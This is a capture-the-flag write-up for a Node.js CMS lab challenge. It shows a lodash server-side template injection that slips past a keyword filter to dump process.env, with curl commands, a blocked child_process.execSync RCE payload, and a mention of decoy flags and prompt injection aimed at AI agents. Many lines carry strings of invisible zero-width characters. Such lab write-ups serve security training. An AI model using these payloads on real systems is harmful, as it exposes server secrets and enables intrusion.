← Back to Writeups
HTBN/AWeb

ContentForge

XESXOR8/23/20265 min read
#web#htb#n/a

ContentForge

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_recognition, input_filter_bypass, lodash_template_ssti, process_env_disclosure

Summary

Task: ContentForge headless CMS with editable email templates using lodash template engine, server-side rendered via preview API. Solution: Bypass input filter (which blocks require/execSync but not process.env) by injecting <%= JSON.stringify(process.env) %> to dump environment variables containing the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260505_hackadvisor_contentforge
  • Tags: environment_variables, ssti, nodejs, nginx, express, lodash, template_injection, honeypot_flag, email_platform, process_env
  • Indicators: editable email templates with lodash syntax (<%= %>), template help states 'rendered server-side using the lodash template engine, filter blocks require() and execSync() but allows process.env access, decoy flags in HTML comments with prompt injection text, preview endpoint renders templates server-side and returns output
  • Source: 20260505_hackadvisor_contentforge.md

Foothold

Vulnerability / Misconfiguration

  1. Decoy_flag_recognition
  2. Input_filter_bypass
  3. Lodash_template_ssti
  4. Process_env_disclosure
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • decoy_flag_recognition
  • input_filter_bypass
  • lodash_template_ssti
  • process_env_disclosure
  • Tags: environment_variables, ssti, nodejs, nginx, express, lodash, template_injection, honeypot_flag, email_platform, process_env

Original Writeup

<details><summary>Click to expand original content</summary>

Description

ContentForge is a headless CMS platform built with Node.js that provides content management, user administration, and customizable email notifications. The platform includes an admin panel where administrators can manage content types, media assets, user accounts, and notification settings. As a security researcher, you've been given access to the ContentForge admin panel. Your task is to explore the platform's functionality and find a way to read a secret flag stored on the server. Pay close attention to how the application processes user-controlled input — particularly in features that involve server-side rendering or template evaluation. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Node.js/Express headless CMS (ContentForge v2.4.1) behind nginx/1.25.5 with an admin panel featuring customizable email templates. Templates use lodash syntax (<%= expression %>) and are rendered server-side via a preview API. The goal is to exploit Server-Side Template Injection (SSTI) to read a flag stored in environment variables. Credentials provided: admin@contentforge.io / Admin123!.

Analysis

Reconnaissance

After authenticating at /admin with admin@contentforge.io / Admin123!, the application revealed: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. Stack identification: Express.js behind nginx/1.25.5 (X-Powered-By: Express), ContentForge v2.4.1.

  2. Email Templates feature at Settings → Email Templates (/admin/settings/email-templates): Three editable templates — Email Confirmation, Password Reset, Welcome Email — all using lodash template syntax (<%= expression %>).

  3. Template help guide explicitly states: "Templates are rendered server-side using the lodash template engine" — this is a direct hint at SSTI.

  4. Client-side JS at /js/email-templates.js revealed the API surface: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

EndpointMethodPurpose
/api/settings/email-templates/{slug}GETLoad template content
/api/settings/email-templates/{slug}PUTSave/update template
/api/settings/email-templates/{slug}/previewPOSTPreview template (server-side render)
  1. Decoy flags: Every HTML page contained a honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML elements, HTML comments, and prompt injection text designed to trick AI agents. These were identified and ignored. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Vulnerability

Lodash's _.template() function compiles template strings into JavaScript functions. The <%= expression %> syntax evaluates arbitrary JavaScript expressions in the Node.js server context. The application applies a server-side filter that blocks common RCE patterns like require(), execSync(), child_process, etc., but fails to block access to Node.js globals like process, process.env, global, and JSON.

Filter Bypass Analysis

PayloadResult
<%= global.process.mainModule.require("child_process").execSync("id").toString() %>BLOCKED — "Template contains blocked expressions"
<%= process.env %>ALLOWED — returned [object Object]
<%= JSON.stringify(process.env) %>ALLOWED — returned full env dump including FLAG
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The filter uses pattern matching for dangerous function calls (require, execSync, spawn, etc.) but does not restrict property access on built-in globals. Since process.env is a plain object property access (no function call to a blocked name), it passes the filter.

Solution

Step 1: Authentication

curl -c cookies.txt -X POST https://TARGET/admin/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@contentforge.io","password":"Admin123!"}'

Step 2: Identify the SSTI vector

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Navigated to Settings → Email Templates and found three editable templates using lodash syntax. The template help guide confirmed server-side rendering with lodash.

Step 3: Test basic expression evaluation

Saved a template with a simple process.env access:

curl -b cookies.txt -X PUT https://TARGET/api/settings/email-templates/email-confirmation \
  -H "Content-Type: application/json" \
  -d '{"body":"<%= process.env %>"}'

Previewed the template:

curl -b cookies.txt -X POST https://TARGET/api/settings/email-templates/email-confirmation/preview

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response returned [object Object] — confirming process.env is accessible and the expression is evaluated server-side.

Step 4: Dump environment variables

Updated the template with JSON.stringify() to serialize the full environment:

curl -b cookies.txt -X PUT https://TARGET/api/settings/email-templates/email-confirmation \
  -H "Content-Type: application/json" \
  -d '{"body":"<%= JSON.stringify(process.env) %>"}'

Previewed:

curl -b cookies.txt -X POST https://TARGET/api/settings/email-templates/email-confirmation/preview

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The response contained the full environment variable dump, including:

{
  "NODE_ENV": "production",
  "FLAG": "FLAG{REDACTED}",
  ...
}

Step 5: Blocked RCE attempt (for reference)

The direct RCE payload was blocked by the server-side filter:

<%= global.process.mainModule.require("child_process").execSync("id").toString() %>

Response: "Template contains blocked expressions. Only variable interpolation (<%= VAR %>) is allowed."

This confirms the filter catches require(), execSync(), and similar patterns but misses process.env property access. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR